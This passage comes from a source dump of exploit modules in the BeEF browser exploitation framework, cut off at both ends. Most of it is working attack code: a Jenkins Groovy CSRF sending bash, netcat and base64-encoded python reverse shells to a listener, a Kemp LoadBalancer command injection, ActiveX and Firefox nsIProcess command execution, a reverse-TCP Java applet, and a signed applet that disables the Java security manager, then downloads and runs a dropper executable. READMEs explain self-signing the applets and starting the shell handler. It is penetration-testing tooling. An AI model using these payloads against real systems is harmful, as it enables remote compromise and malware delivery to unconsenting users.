    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Jboss_jmx_upload_exploit < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Target Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Remote Target Port', 'value' => '8080' },\n      { 'name' => 'lhost', 'ui_label' => 'MSF Listener Host', 'value' => '127.0.0.1' },\n      { 'name' => 'lport', 'ui_label' => 'MSF Listener Port (or bind)', 'value' => '6666' },\n      { 'name' => 'injectedCommand', 'ui_label' => 'Command to execute', 'value' => 'cmd.exe' },\n      { 'name' => 'jspName', 'ui_label' => 'Malicious JSP name', 'value' => rand(32**20).to_s(32) },\n      { 'name' => 'payload', 'type' => 'combobox', 'ui_label' => 'Payload', 'store_type' => 'arraystore',\n        'store_fields' => ['payload'], 'store_data' => [['reverse'], ['bind']],\n        'valueField' => 'payload', 'displayField' => 'payload', 'mode' => 'local', 'autoWidth' => true }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/jenkins_groovy_code_exec/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rproto = '<%= @rproto %>';\n  var rhost = '<%= @rhost %>';\n  var rport = '<%= @rport %>';\n  var targeturi = '<%= @uri %>';\n  var lhost = '<%= @lhost %>';\n  var lport = '<%= @lport %>';\n  var target = rproto + '://' + rhost + ':' + rport + targeturi + '/script';\n  var timeout = 15;\n  var payload_name = '<%= @payload %>';\n  var peer = rhost + ':' + rport;\n\n  cleanup = function() {\n    try {\n      document.body.removeChild(jenkins_groovy_code_exec_iframe_<%= @command_id %>);\n    } catch(e) {\n      beef.debug(\"Could not remove iframe: \" + e.message);\n    }\n  } \n  setTimeout(\"cleanup()\", timeout*1000);\n\n  payload = function() {\n    var whitespace = '';\n    for (var i=0; i<Math.floor(Math.random()*10)+3; i++) whitespace += ' ';\n    var payload = '';\n    switch (payload_name) {\n      case \"reverse_python\":\n        var cmd = \"import socket,subprocess,os;host=\\\"\"+lhost+\"\\\";port=\"+lport+\";s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);\"\n        cmd = cmd.replace(/,/g, whitespace+','+whitespace).replace(/;/g, whitespace+';'+whitespace)\n        var encoded_cmd = btoa(cmd);\n        payload = 'proc = [ \"/usr/bin/python\" , \"-c\" , \"exec ( \\''+encoded_cmd+'\\'.decode ( \\'base64\\' ) )\" ].execute()';\n        payload = payload.replace(/ /g, whitespace);\n        break;\n      case \"reverse_netcat\":\n        payload = 'proc = [ \"/bin/nc\" , \"' + lhost + '\" , \"' + lport + '\" , \"-e\" , \"/bin/sh\" ].execute()';\n        payload = payload.replace(/ /g, whitespace);\n        break;\n      default: // \"reverse_bash\"\n        payload = 'proc = [ \"/bin/bash\", \"-c\", \"/bin/bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1\" ].execute()';\n        payload = payload.replace(/ /g, whitespace);\n        break;\n    }\n    return payload\n  }\n\n  exploit = function() {\n    var groovy = payload();\n    beef.debug(peer + \" - Sending payload (\" + groovy.length + \" bytes)\");\n    var jenkins_groovy_code_exec_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"POST\", \"application/x-www-form-urlencoded\",\n    [\n      {'type':'hidden', 'name':'script', 'value':groovy },\n      {'type':'hidden', 'name':'Submit', 'value':'Run' },\n    ]);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n  }\n\n  try {\n    exploit();\n  } catch(e) {\n    beef.debug(peer + \" - Exploit failed: \" + e.message);\n  }\n\n});\n"
  },
  {
    "path": "modules/exploits/jenkins_groovy_code_exec/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        jenkins_groovy_code_exec:\n            enable: true\n            category: \"Exploits\"\n            name: \"Jenkins Code Exec CSRF\"\n            description: \"This module attempts to get a reverse shell from Jenkins web interface Groovy Script console. Works if the user is authenticated with console privileges or authentication is disabled.\"\n            authors: [\"Vadodil Joel Varghese\", \"OSVDB-110820\", \"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/jenkins_groovy_code_exec/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Jenkins_groovy_code_exec < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    lhost = configuration.beef_host\n    lhost = '' if lhost == '0.0.0.0'\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '80' },\n      { 'name' => 'uri', 'ui_label' => 'Target URI', 'value' => '/jenkins/' },\n      { 'name' => 'rproto',\n        'type' => 'combobox',\n        'ui_label' => 'Target Protocol',\n        'store_type' => 'arraystore',\n        'store_fields' => ['rproto'],\n        'store_data' => [['http'], ['https']],\n        'emptyText' => 'Select a protocol (HTTP/HTTPS)',\n        'valueField' => 'rproto',\n        'displayField' => 'rproto',\n        'mode' => 'local',\n        'forceSelection' => 'true',\n        'autoWidth' => true },\n      { 'name' => 'payload',\n        'type' => 'combobox',\n        'ui_label' => 'Payload',\n        'store_type' => 'arraystore',\n        'store_fields' => ['payload'],\n        'store_data' => [['reverse_bash'], ['reverse_netcat'], ['reverse_python']],\n        'emptyText' => 'Select a payload',\n        'valueField' => 'payload',\n        'displayField' => 'payload',\n        'mode' => 'local',\n        'forceSelection' => 'false',\n        'autoWidth' => true },\n      { 'name' => 'lhost', 'ui_label' => 'Listen Host', 'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Listen Port', 'value' => '8080' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/kemp_command_execution/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar rhost   = '<%= @rhost %>'; \n\tvar rport   = '<%= @rport %>';\n\tvar timeout = '<%= @timeout %>';\n\n\t\n\tvar path    = '/progs/geoctrl/doadd';\n\tvar cmd     = \"<%= @cmd %>\";\n\n\tif (rhost.substring(0,5) == \"https\") {\n\t\trhost = rhost.replace(\"https://\",\"\")\n\t\tprotocol = \"https\"\n\t}\n\telse {\n\t\trhost = rhost.replace(\"http://\",\"\")\n\t\tprotocol = \"http\"\n\t}\n\n\t\n\tbeef.net.forge_request(protocol, \"POST\", rhost, rport, path, null, null, { fqdn: \"' <%= @cmd %>'\" }, 10, 'html', false, null, function(response) { \n\t\tresp = response.headers+response.response_body;\n\t\tstart = resp.indexOf(\"Content-Type: text/html\");\n\t\tend = resp.indexOf(\"Cache-Control: no-cache\");\n\t\tfinal = resp.slice(start+23,end)\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, final)\n\t\t});\n\n\t\n\t\t\n\t});\n"
  },
  {
    "path": "modules/exploits/kemp_command_execution/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        kemp_command_execution:\n            enable: true\n            category: \"Exploits\"\n            name: \"Kemp LoadBalancer Command Execution\"\n            description: \"This module exploits a remote code execution vulnerability in Kemp LoadBalancer 7.1-16.<br/>More information can be found here: <a href='http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html'>http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html</a><br/>\"\n            authors: [\"Roberto Suggi Liverani\", \"@malerisch\", \"CVE-2014-5287\",\"CVE-2014-5288\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/kemp_command_execution/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Kemp_command_execution < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'URL', 'value' => 'https://x.x.x.x' },\n      { 'name' => 'rport',   'ui_label' => 'Remote Port', 'value' => '443' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },\n      { 'name' => 'cmd',     'ui_label' => 'Command', 'description' => 'Enter shell command to execute.', 'type' => 'textarea', 'value' => 'ls', 'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?\n    save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?\n  end\nend\n"
  },
  {
    "path": "modules/exploits/local_host/activex_command_execution/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar cmd = beef.encode.base64.decode('<%= Base64.strict_encode64(@cmd) %>');\n\tvar result = \"command was not sent\";\n\n\ttry {\n\t\tvar shell = new ActiveXObject('WSCRIPT.Shell').Run(cmd);\n\t\tif (shell.toString() == 0) {\n\t\t\tresult = \"command sent\";\n\t\t} else {\n\t\t\tresult = \"command failed\";\n\t\t}\n\t} catch(e) {\n\t\tresult = \"command failed\";\n\t}\n\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);\n\n});\n"
  },
  {
    "path": "modules/exploits/local_host/activex_command_execution/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        activex_command_execution:\n            enable: true\n            category: [\"Exploits\", \"Local Host\"]\n            name: \"ActiveX Command Execution\"\n            description: \"Execute arbitrary commands using the \\\"WSCRIPT.Shell\\\" object. The command response is not returned to BeEF.<br><br>The browser must have \\\"Initialize and script ActiveX controls not marked as safe for scripting\\\" enabled.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"IE\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/local_host/activex_command_execution/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Activex_command_execution < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'cmd', 'ui_label' => 'Command', 'type' => 'textarea', 'value' => 'cmd.exe /c \"echo Hello from BeEF! & pause\"', 'width' => '400px', 'height' => '50px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/local_host/java_payload/README.txt",
    "content": "--- How to use this module ---\nThe following is how you compile the JavaPayload handlers :\n\n$git clone https://github.com/schierlm/JavaPayload/tree/master/JavaPayload javapayload-git\n$cd javapayload-git/JavaPayload/lib && wget http://download.forge.objectweb.org/asm/asm-3.2.jar\n$cd .. && ant compile && ant jar\n$cd build/bin\n$java -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.builder.AppletJarBuilder ReverseTCP\n\nAt this point you have the applet ready to go, with a reverseTCP handler:\nApplet_ReverseTCP.jar\nNote that the applet in this module is already compiled (with Java 7, you might want to recompile it\nwith Java 6 to run it on those versions too - SUGGESTED :-).\n\nAt this stage you need to sign the applet.\nThe following is to create a self-signed certificate and then sign it.\nObviously if you have a valid code signing certificate, even better ;)\n\nkeytool -keystore tmp -genkey\njarsigner -keystore tmp Applet_ReverseTCP.jar mykey\n\nNow replace the newly signed Applet_ReverseTCP.jar in the BeEF module.\n\nYou're now ready to rock. start the reverse handler listener with (update payload/host/port if necessary):\njava -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.handler.stager.StagerHandler ReverseTCP 127.0.0.1 6666 -- JSh\n\nNow launch the BeEF module.\nIf the victim RUN the Signed Java Applet, job done and you can interact with the applet from the reverse connection handler:\nantisnatchor$ java -cp ../../lib/asm-3.2.jar:../../JavaPayload.jar javapayload.handler.stager.StagerHandler ReverseTCP 127.0.0.1 6666 -- JSh\n! help\nhelp: show information about commands.\n  Usage: help [command]\n\nSupported commands:\n    help   - show this help\n    info   - list system properties\n    pwd    - show current directory\n    cd     - change directory\n    ls     - list directory\n    exec   - execute native command\n    cat    - show text file\n    wget   - download file\n    telnet - create TCP connection\n    paste  - create text file\n    jobs   - list or continue jobs\n    exit   - Exit JSh\n\nWhen inside an interactive command, enter ~. on a new\nline to exit from that command. Enter ~& to background the command.\nEnter ~~ to start a line with a ~ character"
  },
  {
    "path": "modules/exploits/local_host/java_payload/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    var conn = '<%= @conn %>';\n    var cbHost = '<%= @cbHost %>';\n    var cbPort = '<%= @cbPort %>';\n    var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/anti.jar';\n    var applet_id = '<%= @applet_id %>';\n    var applet_name = '<%= @applet_name %>';\n\n    beef.dom.attachApplet(applet_id, applet_name, 'javapayload.loader.AppletLoader',\n        null, applet_archive, [{'argc':'5', 'arg0':'ReverseTCP', 'arg1':cbHost, 'arg2':cbPort, 'arg3':'--', 'arg4':'JSh'}]);\n\n\n    //TODO: modify the applet in a way we can call a method from it, or create a Javascript variable in the page (to know the applet has started).\n    //TODO: after that, every N seconds we'll check if the user RUN the applet, otherwise we remove the applet and inject another one.\n\n\n//TODO:     =========== persistence techniques ===========\n//    the victim must stay on the page while the applet is running. we don't want to use hybrid techniques to\n//    download platform dependent executable (i.e. meterpreter) and then kill the applet.\n//    we have 2 options:\n//    1. use the MITB code (currently doesn't work on IE)\n//    2. create an overlay iFrame while having the applet runnin in the background\n//\n//    1. setTimeout(beef.dom.createIframe('fullscreen', {'src':\"<%= @iFrameSrc %>\", 'id':\"overlayiframe\", 'name':\"overlayiframe\"}, {}, null), 4000);\n//    2. beef.mitb.init(\"<%= @command_url %>\", <%= @command_id %>);\n//\t\tvar MITBload = setInterval(function(){\n//\t\t\t\tif(beef.pageIsLoaded){\n//\t\t\t\t\tclearInterval(MITBload);\n//\t\t\t\t\tbeef.mitb.hook();\n//\t\t\t\t}\n//\t\t\t}, 100);\n\n\n    beef.debug('[Java Payload] Applet with id[' + applet_id + '] added to the DOM.');\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Applet with id[' + applet_id + '] added to the DOM.');\n\n\n});\n"
  },
  {
    "path": "modules/exploits/local_host/java_payload/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        java_payload:\n            enable: true\n            category: [\"Exploits\", \"Local Host\"]\n            name: \"Java Payload\"\n            description: \"Inject a malicious signed Java Applet (JavaPayload) that connects back to the attacker giving basic shell commands, command exec and wget.<br /><br />Before launching it, be sure to have the JavaPayload StagerHandler listening,<br />i.e.: java javapayload.handler.stager.StagerHandler &lt;payload&gt; &lt;IP&gt; &lt;port&gt; -- JSh<br /><br />Windows Vista is not supported.\"\n            authors: [\"antisnatchor\"]\n            target:\n                user_notify: [\"All\"]\n"
  },
  {
    "path": "modules/exploits/local_host/java_payload/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Java_payload < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/java_payload/Applet_ReverseTCP.jar', '/anti', 'jar')\n  end\n\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    beef_host = @configuration.beef_host\n    [\n      { 'name' => 'conn', 'ui_label' => 'Payload', 'value' => 'ReverseTCP' },\n      { 'name' => 'cbHost', 'ui_label' => 'Connect Back to Host', 'value' => beef_host },\n      { 'name' => 'cbPort', 'ui_label' => 'Connect Back to Port', 'value' => '6666' },\n      { 'name' => 'applet_id', 'ui_label' => 'Applet id', 'value' => rand(32**20).to_s(32) },\n      { 'name' => 'applet_name', 'ui_label' => 'Applet name', 'value' => 'Microsoft' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/local_host/mozilla_nsiprocess_interface/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = \"command sent\";\n\n\ttry {\n\t\tvar command_str = beef.encode.base64.decode('<%= Base64.strict_encode64(@command_str) %>');\n\t\tvar getWorkingDir= Components.classes[\"@mozilla.org/file/directory_service;1\"].getService(Components.interfaces.nsIProperties).get(\"Home\",Components.interfaces.nsIFile);\n\t\tvar lFile = Components.classes[\"@mozilla.org/file/local;1\"].createInstance(Components.interfaces.nsILocalFile);\n\t\tvar lPath = \"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\"; // maybe \"%WINDIR%\\\\system32\\\\cmd.exe\" would work?\n\t\tlFile.initWithPath(lPath);\n\t\tvar process = Components.classes[\"@mozilla.org/process/util;1\"].createInstance(Components.interfaces.nsIProcess);\n\t\tprocess.init(lFile);\n\t\tprocess.run(false,['/c', command_str],2);\n\t} catch (e) {\n\t\tresult = \"an unexpected error occurred\";\n\t}\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=\"+result);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        mozilla_nsiprocess_interface:\n            enable: false\n            category: [\"Exploits\", \"Local Host\"]\n            name: \"Mozilla nsIProcess XPCOM Interface (Windows)\"\n            description: \"The nsIProcess XPCOM interface represents an executable process. JavaScript code with chrome privileges can use the nsIProcess interface to launch executable files. In this module, nsIProcess is combined with the Windows command prompt cmd.exe<br /><br />Any XSS injection in a chrome privileged zone (e.g. typically in Firefox extensions) allows this module to execute arbitrary commands on the victim machine.\"\n            authors: [\"wade\", \"bcoles\", \"roberto.suggi@security-assessment.com\", \"nick.freeman@security-assessment.com\"]\n            target:\n                working:\n                    FF:\n                        min_ver: 1\n                        # It's actually 3.5 but min_ver only supports integers\n                        max_ver: 3\n                not_working: [\"All\"]\n\n"
  },
  {
    "path": "modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# This module is a port of the same module from BeEF-0.4.0.0\n# It has not been tested\nclass Mozilla_nsiprocess_interface < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'command_str', 'ui_label' => 'Windows Command', 'value' => 'ping localhost' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/exploits/local_host/safari_launch_app/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n    var baseTag = document.createElement('base');\n    baseTag.setAttribute('id', 'sla_<%= @command_id %>');\n    baseTag.setAttribute('href', 'file://');\n    document.head.appendChild(baseTag);\n    setTimeout('document.location=\"<%= @app_path %>\";beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"Command [<%= @app_path %>] launched\");', 1000);\n    setTimeout('document.head.removeChild(document.getElementById(\"sla_<%= @command_id %>\"));beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"Base tag removed\");', 1000);\n});\n"
  },
  {
    "path": "modules/exploits/local_host/safari_launch_app/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        safari_launch_app:\n            enable: true\n            category: [\"Exploits\", \"Local Host\"]\n            name: \"Safari Launch App\"\n            description: \"Launch an application from the victim machine.<br/><br/>See CVE-2011-3230 for more details.<br /><br />Safari <= 5.1 on OS X is vulnerable. Original discovery by Aaron Sigel.\"\n            authors: [\"antisnatchor\"]\n            target:\n                user_notify: [\"S\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/exploits/local_host/safari_launch_app/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Safari_launch_app < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'app_path', 'ui_label' => 'Application', 'value' => '/usr/sbin/netstat' }\n    ]\n  end\nend\n"
  },
  {
    "path": "modules/exploits/local_host/signed_applet_dropper/README.txt",
    "content": "--- How to use this module ---\n-- antisnatchor:\n - the applet has been compiled with Java 1.6.0 update 0 in order to be compatible with every JRE > 1.6.x (1.7.x included)\n - tested with IE8 on XP SP3, and IE10 on Win7\n - tested with JRE 1.6.x and 1.7.x\n\n - I advise you to recompile/re-sign the applet yourself, the following are the required steps to compile and self-sign the applet.\nNOTE: Best results are obtained signing the applet with a valid Code Signing certificate.\n\n - Ideally the dropper is a packed backdoor (Meterpreter?) that connects back to your server (for instance a Metasploit multi/handler).\n\n1. compile the two classes\njavac SignedApplet.java SM.java\n\n2. create a JAR\njar cvf SignedApplet.jar SignedApplet.class SM.class\n\n3. generate a keystore to self-sign the applet\nkeytool -keystore tmp -genkey\n\n4. sign the applet\njarsigner -keystore tmp signedAppletCmdExec.jar mykey\n"
  },
  {
    "path": "modules/exploits/local_host/signed_applet_dropper/applet/SM.java",
    "content": "/*\r\n * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\r\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\r\n *\r\n * author: antisnatchor\r\n*/\r\nimport java.security.*;\r\npublic class SM extends SecurityManager {\r\n    @Override\r\n    public void checkPermission(Permission perm) {\r\n        return;\r\n    }\r\n}"
  },
  {
    "path": "modules/exploits/local_host/signed_applet_dropper/applet/SignedApplet.java",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n *\n * author: antisnatchor\n*/\nimport java.applet.*;\nimport java.awt.*;\nimport java.io.*;\nimport java.util.*;\nimport java.net.URL;\n\npublic class SignedApplet extends Applet {\n\n    public static String debug = \"false\";\n    public static String bin_url = \"\";\n    public static String bin_path = \"\";\n    public static boolean download = false;\n\n    public void init(){\n        bin_url = (String)getParameter(\"url\");\n        String bin_rand_name = Long.toString(Math.abs((new Random()).nextLong()), 36);\n        bin_path = System.getProperty(\"java.io.tmpdir\") + File.separator + bin_rand_name + \".exe\";\n\n        // grab operating system -> not used atm\n        // TODO: make the applet compatible also with Linux/OSX\n        String os = System.getProperty(\"os.name\").toLowerCase();\n        execute();\n    }\n\n    public SignedApplet(){\n        super();\n        SecurityManager sm = new SM();\n        System.setSecurityManager(sm);\n        return;\n    }\n\n    public static boolean download(){\n        boolean success = false;\n        try{\n            URL url = new URL(bin_url);\n            InputStream is = url.openStream();\n            BufferedInputStream isbuf = new BufferedInputStream(is);\n            File bin_out = new File(bin_path);\n            OutputStream out = new BufferedOutputStream(new FileOutputStream(bin_out));\n            byte[] buf = new byte[1024];\n            for (;;){\n                int bs = isbuf.read(buf);\n                if (bs <= 0) break;\n                out.write(buf, 0, bs);\n            }\n            out.flush();\n            out.close();\n            is.close();\n            success = true;\n            return success;\n        }catch(Exception e){\n            return success;\n        }\n    }\n\n    public static String execute() {\n        String result = \"\";\n        String command = \"\";\n        try{\n            boolean downloadOk = download();\n            System.out.println(\"Download [\" + downloadOk + \"] - bin_path [\" + bin_path + \"]\");\n            result = \"Download [\" + downloadOk + \"] - bin_path [\" + bin_path + \"]\";\n\n            if(downloadOk){\n                // TODO: make the applet compatible also with Linux/OSX\n                command = \"cmd.exe /c \\\"\" + bin_path + \"\\\"\";\n                Process p = Runtime.getRuntime().exec(command);\n                p.waitFor();\n                /// delete dropped binary\n                new File(bin_path).delete();\n                result += \"\\n\\nExecution OK.\";\n            }else{\n                //downloading of dropper failed, catch error..\n                result = \"Download error.\";\n            }\n        }catch (Exception e) {\n            result = \"Exception!!!: \\n\";\n        }\n        return result;\n    }\n}\n"
  },
  {
    "path": "modules/exploits/local_host/signed_applet_dropper/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/applet/SignedApplet.jar';\n    var applet_name = '<%= @applet_name %>';\n    var dropper_url = '<%= @dropper_url %>';\n    var ie_only = '<%= @ie_only %>';\n\n    function attach(){\n       beef.dom.attachApplet('signed_applet', applet_name, 'SignedApplet.class',\n         null, applet_archive, [{'url':dropper_url}]);\n\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Applet added to the DOM.');\n    }\n\n    if(ie_only == \"on\"){\n       if(beef.browser.isIE()){\n         attach();\n       }\n    }else{\n       attach();\n    }\n});\n"
  },
  {
    "path": "modules/exploits/local_host/signed_applet_dropper/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        signed_applet_dropper:\n            enable: true\n            category: [\"Exploits\", \"Local Host\"]\n            name: \"Signed Applet Dropper\"\n            description: \"Injects a Signed Java Applet (compiled with Java 1.6.0 in order to be compatible with every JRE from 1.6.0 to latest 1.7) that downloads a dropper and executes it.<br />Currently works only on Windows.<br /><br />Internet Explorer is the only browser that doesn't implement Click to Play for plugins, that's what the IE only checkbox is meant for.\"\n            authors: [\"antisnatchor\"]\n            target:\n                user_notify: [\"All\"]\n"
  },
  {
    "path": "modules/exploits/local_host/signed_applet_dropper/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Signed_applet_dropper < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/signed_applet_dropper/applet/SignedApplet.jar', '/applet/SignedApplet', 'jar')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/signed_applet_dropper/applet/SM.class', '/applet/SM', 'class')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/signed_applet_dropper/applet/SignedApplet.class', '/applet/SignedApplet', 'class')\n  end\n\n  def self.options\n    [\n      { 'name' => 'dropper_url', 'ui_label' => 'Dropper URL', 'value' => 'http://dropper_url/' },\n      { 'name' => 'applet_name', 'ui_label' => 'Applet name', 'value' => 'Oracle Secure Applet' },\n      { 'name' => 'ie_only', 'ui_label' => 'Internet Explorer only?', 'type' => 'checkbox', 'checked' => 'checked' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/local_host/window_mail_client_dos/command.js",
